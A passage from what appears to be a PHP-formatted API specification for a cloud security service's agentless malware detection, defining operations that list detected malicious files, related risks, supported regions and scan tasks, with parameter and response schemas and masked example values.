'164201', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Levels', 'in' => 'query', 'schema' => [ 'description' => 'The severities of the malicious files. Separate multiple values with commas (,). Valid values:'."\n" ."\n" .'* serious'."\n" .'* suspicious'."\n" .'* remind'."\n", 'type' => 'string', 'required' => false, 'example' => 'remind,suspicious', ], ], [ 'name' => 'FuzzyMaliciousName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the malicious file that you want to query.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'WebShell', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'string', 'required' => true, 'example' => '20', ], ], [ 'name' => 'MaliciousMd5', 'in' => 'query', 'schema' => [ 'description' => 'The MD5 hash value of the malicious file.'."\n", 'type' => 'string', 'required' => false, 'example' => 'd836968041f7683b5459****', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'd2d94e8b-bb25-4744-8004-1e08a53c****', ], ], [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'description' => 'The event ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '81****', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remarks for the asset affected by the vulnerability. The value can be the private IP address, public IP address, or name of the asset. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the vulnerability is handled. Valid values:'."\n" ."\n" .'* Y: The vulnerability is handled.'."\n" .'* N: The vulnerability is not handled.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Y', ], ], [ 'name' => 'MaliciousType', 'in' => 'query', 'schema' => [ 'description' => 'The alert type.'."\n" ."\n" .'Valid values when Lang is set to zh:'."\n" ."\n" .'* WebShell'."\n" .'* Malicious Software'."\n" .'* Malicious Script'."\n" ."\n" .'Valid values when Lang is set to en:'."\n" ."\n" .'* WebShell'."\n" .'* Malicious Software'."\n" .'* Malicious Script'."\n", 'type' => 'string', 'required' => false, 'example' => 'WebShell', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The source of the malicious file.', 'type' => 'array', 'items' => [ 'description' => 'The source of the malicioud file. Valid values:'."\n" ."\n" .'* **agentless**: Host Detection.'."\n" .'* **ecs_snapshot**: User Snapshot.'."\n" .'* **ecs_image**: User Image.', 'type' => 'string', 'required' => false, 'example' => 'agentless', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CE343162-35BF-565E-B85E-8E3B7A2B****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'List' => [ 'description' => 'The malicious files.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The event ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1****', ], 'FirstScanTimestamp' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '168257753****', ], 'LatestScanTimestamp' => [ 'description' => 'The timestamp generated when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '168257753****', ], 'Level' => [ 'description' => 'The severity of the malicious file. Valid values:'."\n" ."\n" .'* serious'."\n" .'* suspicious'."\n" .'* remind'."\n", 'type' => 'string', 'example' => 'serious', ], 'MaliciousMd5' => [ 'description' => 'The MD5 hash value of the malicious file.'."\n", 'type' => 'string', 'example' => '1f2e13a7c51ee89316ae50066515****', ], 'FilePath' => [ 'description' => 'The file path.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '/root/etc/g****', ], 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'sql-test-001****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'TargetId' => [ 'description' => 'The ID of the asset that is scanned.'."\n", 'type' => 'string', 'example' => 'm-****', ], 'TargetName' => [ 'description' => 'The name of the asset that is scanned.'."\n", 'type' => 'string', 'example' => 'jenkins****', ], 'TargetType' => [ 'description' => 'The type of the asset that is scanned. Valid values:'."\n" ."\n" .'* 2: The scanned asset is an image.'."\n", 'type' => 'string', 'example' => '2', ], 'DownloadUrl' => [ 'description' => 'The URL to download the malicious image sample.'."\n", 'type' => 'string', 'example' => 'https://upgrade-rule-pkg.oss-cn-beijing.aliyuncs.com/totalpackage/rule/V3.166.2/totalpackage_rule_V3.16_6.2_tip_20230220110****', ], 'HighLight' => [ 'description' => 'The highlighted JSON string.'."\n", 'type' => 'string', 'example' => '{\\"highlight\\":{\\"ruleVersion\\":\\"20230223\\",\\"ruleId\\":600139,\\"events\\":[[207,284]]}}', ], 'Notes' => [ 'description' => 'The remarks.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Note' => [ 'description' => 'The remark.'."\n", 'type' => 'string', 'example' => 'Serious***', ], 'NoteId' => [ 'description' => 'The ID of the remark.'."\n", 'type' => 'string', 'example' => '50****', ], 'NoteTime' => [ 'description' => 'The time when the remark was created.'."\n", 'type' => 'string', 'example' => '2023-04-27 14:49:21', ], ], ], ], 'Details' => [ 'description' => 'The details of the alert event.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the detailed item.'."\n", 'type' => 'string', 'example' => 'MD5', ], 'Type' => [ 'description' => 'The type of the detailed item.'."\n", 'type' => 'string', 'example' => 'text', ], 'Value' => [ 'description' => 'The value of the detailed item.'."\n", 'type' => 'string', 'example' => '1', ], 'NameKey' => [ 'description' => 'The name key of the detailed item.'."\n", 'type' => 'string', 'example' => '${suspicious.mp.db.maliciousfilemd5}', ], ], ], ], 'MaliciousName' => [ 'description' => 'The name of the malicious file.'."\n", 'type' => 'string', 'example' => 'WebShell', ], 'Partition' => [ 'description' => 'The partition of the disk.'."\n", 'type' => 'string', 'example' => '/dev/xvda1', ], 'OperateResult' => [ 'description' => 'The handling result of the alert.'."\n", 'type' => 'string', 'example' => 'addWhitelist.USER.Success', ], 'OperateTimestamp' => [ 'description' => 'The timestamp generated when the alert is handled. Unit: milliseconds.'."\n", 'type' => 'string', 'example' => '168257753****', ], 'MaliciousType' => [ 'description' => 'The type of the virus.'."\n", 'type' => 'string', 'example' => 'WebShell', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE343162-35BF-565E-B85E-8E3B7A2B****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 23,\\n \\"Count\\": 20\\n },\\n \\"List\\": [\\n {\\n \\"Id\\": 0,\\n \\"FirstScanTimestamp\\": 0,\\n \\"LatestScanTimestamp\\": 0,\\n \\"Level\\": \\"serious\\",\\n \\"MaliciousMd5\\": \\"1f2e13a7c51ee89316ae50066515****\\",\\n \\"FilePath\\": 0,\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InstanceName\\": \\"sql-test-001****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"TargetId\\": \\"m-****\\",\\n \\"TargetName\\": \\"jenkins****\\",\\n \\"TargetType\\": \\"2\\",\\n \\"DownloadUrl\\": \\"https://upgrade-rule-pkg.oss-cn-beijing.aliyuncs.com/totalpackage/rule/V3.166.2/totalpackage_rule_V3.16_6.2_tip_20230220110****\\",\\n \\"HighLight\\": \\"{\\\\\\\\\\\\\\"highlight\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"ruleVersion\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"20230223\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ruleId\\\\\\\\\\\\\\":600139,\\\\\\\\\\\\\\"events\\\\\\\\\\\\\\":[[207,284]]}}\\",\\n \\"Notes\\": [\\n {\\n \\"Note\\": \\"Serious***\\",\\n \\"NoteId\\": \\"50****\\",\\n \\"NoteTime\\": \\"2023-04-27 14:49:21\\"\\n }\\n ],\\n \\"Details\\": [\\n {\\n \\"Name\\": \\"MD5\\",\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"1\\",\\n \\"NameKey\\": \\"${suspicious.mp.db.maliciousfilemd5}\\"\\n }\\n ],\\n \\"MaliciousName\\": \\"WebShell\\",\\n \\"Partition\\": \\"/dev/xvda1\\",\\n \\"OperateResult\\": \\"addWhitelist.USER.Success\\",\\n \\"OperateTimestamp\\": \\"168257753****\\",\\n \\"MaliciousType\\": \\"WebShell\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAgentlessMaliciousFiles', ], 'RetryAgentlessTask' => [ 'summary' => 'Retries agentless detection tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task. You can call the [ListAgentlessTask](~~ListAgentlessTask~~) operation to obtain the IDs of tasks.'."\n", 'type' => 'string', 'required' => false, 'example' => '5347c7b6-c85c-4070-846a-3029e08e****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\"\\n}","type":"json"}]', 'title' => 'RetryAgentlessTask', ], 'ListAgentlessRelateMalicious' => [ 'summary' => 'Obtains the risks associated with an agentless detection event.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '164463', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'string', 'required' => true, 'example' => '20', ], ], [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the event.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '80****', ], ], [ 'name' => 'Scenario', 'in' => 'query', 'schema' => [ 'description' => 'The scenarios of batch handling. Valid values:'."\n" ."\n" .'* same_file_md5: the same MD5 hash value.'."\n" .'* default: the same alert type. This is the default value.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FCA270CC-24C8-5DA1-9184-20F2605C****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '197', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'List' => [ 'description' => 'The list of hosts that are associated with the risk.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The host that is associated with the risk.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The event ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '8012', ], 'FirstScanTimestamp' => [ 'description' => 'The timestamp when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '168257753****', ], 'LatestScanTimestamp' => [ 'description' => 'The timestamp when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '168257753****', ], 'Level' => [ 'description' => 'The severity of the malicious file. Valid values:'."\n" ."\n" .'* serious'."\n" .'* suspicious'."\n" .'* remind'."\n", 'type' => 'string', 'example' => 'serious', ], 'MaliciousMd5' => [ 'description' => 'The MD5 hash value of the malicious file.'."\n", 'type' => 'string', 'example' => '1f2e13a7c51ee89316ae50066515****', ], 'FilePath' => [ 'description' => 'The file path.'."\n", 'type' => 'string', 'example' => '/root/logs/arms/tracelogs/log****', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'sql-test-0****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'TargetId' => [ 'description' => 'The ID of the task object.'."\n", 'type' => 'string', 'example' => 'm-****', ], 'TargetName' => [ 'description' => 'The name of the task object.'."\n", 'type' => 'string', 'example' => 'image_***', ], 'TargetType' => [ 'description' => 'The type of the task object. Valid values:'."\n" ."\n" .'* **1**: snapshot.'."\n" .'* **2**: image.'."\n", 'type' => 'string', 'example' => '2', ], 'DownloadUrl' => [ 'description' => 'The URL to download the malicious image sample.'."\n", 'type' => 'string', 'example' => 'https://upgrade-rule-pkg.oss-cn-beijing.aliyuncs.com/totalpackage/***', ], 'HighLight' => [ 'description' => 'The highlighted JSON string.'."\n", 'type' => 'string', 'example' => '{\\"highlight\\":{\\"ruleVersion\\":\\"20230223\\",\\"ruleId\\":600139,\\"events\\":[[207,284]]}}', ], 'Details' => [ 'description' => 'The details of the alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the alert event.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the detailed item.'."\n", 'type' => 'string', 'example' => 'MD5', ], 'Type' => [ 'description' => 'The type of the detailed item.'."\n", 'type' => 'string', 'example' => 'text', ], 'Value' => [ 'description' => 'The value of the detailed item.'."\n", 'type' => 'string', 'example' => '1f2e13a7c51ee89316ae50066515****', ], 'NameKey' => [ 'description' => 'The name key of the detailed item.'."\n", 'type' => 'string', 'example' => '${suspicious.mp.db.maliciousfilemd5}', ], ], ], ], 'MaliciousName' => [ 'description' => 'The name of the malicious file.'."\n", 'type' => 'string', 'example' => 'WebShell', ], 'Partition' => [ 'description' => 'The partition of the disk.'."\n", 'type' => 'string', 'example' => '/dev/xvda1', ], 'OperateResult' => [ 'description' => 'The handling result of the alert.'."\n", 'type' => 'string', 'example' => 'addWhitelist.USER.Success', ], 'OperateTimestamp' => [ 'description' => 'The timestamp when the alert is handled. Unit: milliseconds.'."\n", 'type' => 'string', 'example' => '168257753****', ], 'MaliciousType' => [ 'description' => 'The type of the virus.'."\n", 'type' => 'string', 'example' => 'WebShell', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FCA270CC-24C8-5DA1-9184-20F2605C****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 197,\\n \\"Count\\": 2\\n },\\n \\"List\\": [\\n {\\n \\"Id\\": 8012,\\n \\"FirstScanTimestamp\\": 0,\\n \\"LatestScanTimestamp\\": 0,\\n \\"Level\\": \\"serious\\",\\n \\"MaliciousMd5\\": \\"1f2e13a7c51ee89316ae50066515****\\",\\n \\"FilePath\\": \\"/root/logs/arms/tracelogs/log****\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"TargetId\\": \\"m-****\\",\\n \\"TargetName\\": \\"image_***\\",\\n \\"TargetType\\": \\"2\\",\\n \\"DownloadUrl\\": \\"https://upgrade-rule-pkg.oss-cn-beijing.aliyuncs.com/totalpackage/***\\",\\n \\"HighLight\\": \\"{\\\\\\\\\\\\\\"highlight\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"ruleVersion\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"20230223\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ruleId\\\\\\\\\\\\\\":600139,\\\\\\\\\\\\\\"events\\\\\\\\\\\\\\":[[207,284]]}}\\",\\n \\"Details\\": [\\n {\\n \\"Name\\": \\"MD5\\",\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"1f2e13a7c51ee89316ae50066515****\\",\\n \\"NameKey\\": \\"${suspicious.mp.db.maliciousfilemd5}\\"\\n }\\n ],\\n \\"MaliciousName\\": \\"WebShell\\",\\n \\"Partition\\": \\"/dev/xvda1\\",\\n \\"OperateResult\\": \\"addWhitelist.USER.Success\\",\\n \\"OperateTimestamp\\": \\"168257753****\\",\\n \\"MaliciousType\\": \\"WebShell\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAgentlessRelateMalicious', ], 'ListAgentlessRegion' => [ 'summary' => 'Queries the regions that are supported by the agentless detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '159361', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92****', ], 'RegionList' => [ 'description' => 'The information about the regions.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The region ID.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], ], 'VendorRegionList' => [ 'description' => 'The information about the regions.', 'type' => 'array', 'items' => [ 'description' => 'The information about the regions.', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The type of the server. Valid values:'."\n" ."\n" .'- **0**: Alibaba Cloud'."\n" .'- **3**: Tencent Cloud'."\n" .'- **4**: Huawei Cloud'."\n" .'- **5**: Azure'."\n" .'- **7**: AWS', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RegionId' => [ 'description' => 'The region ID of the instance.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92****\\",\\n \\"RegionList\\": [\\n \\"cn-shanghai\\"\\n ],\\n \\"VendorRegionList\\": [\\n {\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAgentlessRegion', ], 'ListAgentlessTask' => [ 'summary' => 'Queries agentless detection tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '155393', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset that you want to detect. Valid values:'."\n" ."\n" .'* **1**: snapshot'."\n" .'* **2**: image'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RootTaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the main task.'."\n", 'type' => 'string', 'required' => false, 'example' => '12c27343861610c5db3f7a2573b4****', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the detection task.'."\n" ."\n" .'* **1**: The detection task is in progress.'."\n" .'* **2**: The detection task is complete.'."\n" .'* **3**: The detection task fails.'."\n" .'* **4**: The detection task times out.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start timestamp of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1651290987000', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end timestamp of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1635575219000', ], ], [ 'name' => 'RootTask', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to query main tasks. Valid values:'."\n" ."\n" .'* **true**: queries main tasks.'."\n" .'* **false**: queries subtasks.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the main task. If you want to query subtasks of a main task, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'd7b2acf8d362742123e4a84e1bf8****', ], ], [ 'name' => 'MachineName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oracle-win-001****', ], ], [ 'name' => 'InternetIp', 'in' => 'query', 'schema' => [ 'description' => 'The public IP address of the asset that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.1.XX.XX', ], ], [ 'name' => 'IntranetIp', 'in' => 'query', 'schema' => [ 'description' => 'The private IP address of the asset that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => '172.26.XX.XX', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'e4af3620-6895-4e2f-a641-a9d8fb53****', ], ], [ 'name' => 'TargetName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the asset that you want to detect.'."\n", 'type' => 'string', 'required' => false, 'example' => 'source-test-obj-0****'."\n", ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1A975D03-5F49-5354-B2CB-3918D5DA****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '55', ], ], ], 'List' => [ 'description' => 'The tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The task.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'string', 'example' => '1538****', ], 'TaskName' => [ 'description' => 'The name of the detection task.'."\n", 'type' => 'string', 'example' => 'AGENTLESS_SCAN', ], 'TargetType' => [ 'description' => 'The type of the asset that is detected. Valid values:'."\n" ."\n" .'* **1**: snapshot'."\n" .'* **2**: image'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Status' => [ 'description' => 'The status of the detection task.'."\n" ."\n" .'* **1**: The detection task is in progress.'."\n" .'* **2**: The detection task is complete.'."\n" .'* **3**: The detection task fails.'."\n" .'* **4**: The detection task times out.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Progress' => [ 'description' => 'The progress of the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '60', ], 'StartTime' => [ 'description' => 'The start timestamp of the task. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1672741657897', ], 'EndTime' => [ 'description' => 'The end timestamp of the task. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1678895999999', ], 'Result' => [ 'description' => 'The result of the detection.'."\n", 'type' => 'string', 'example' => 'True', ], 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'sql-test-0****', ], 'TargetName' => [ 'description' => 'The name of the asset that is detected.'."\n", 'type' => 'string', 'example' => 'hkdevt****', ], 'ProgressByProject' => [ 'description' => 'The execution progress of the check items.'."\n", 'type' => 'string', 'example' => '"{\\"scaVul\\":100,\\"binary\\":100,\\"baseline\\":100,\\"vul\\":100,\\"webshell\\":100,\\"script\\":100,\\"sensitiveInfo\\":100}"', ], 'ReportStatus' => [ 'description' => 'The status of the report. Valid values:'."\n" ."\n" .'* **PREPARED**: preparing'."\n" .'* **RUNNING**: running'."\n" .'* **SUCCESS**: succeeded'."\n" .'* **TIMEOUT**: timed out'."\n" .'* **FAILED**: failed'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'ReportDownloadUrl' => [ 'description' => 'The download URL of the report.'."\n", 'type' => 'string', 'example' => 'http://newsas-oss-bucket.oss-cn-hangzhou.aliyuncs.com/agent_less_single_report****', ], 'MeasureSpace' => [ 'description' => 'The amount of data detected. Unit: MB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '154.11', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'example' => 's-wz95vuqky0ada4******', ], ], ], ], 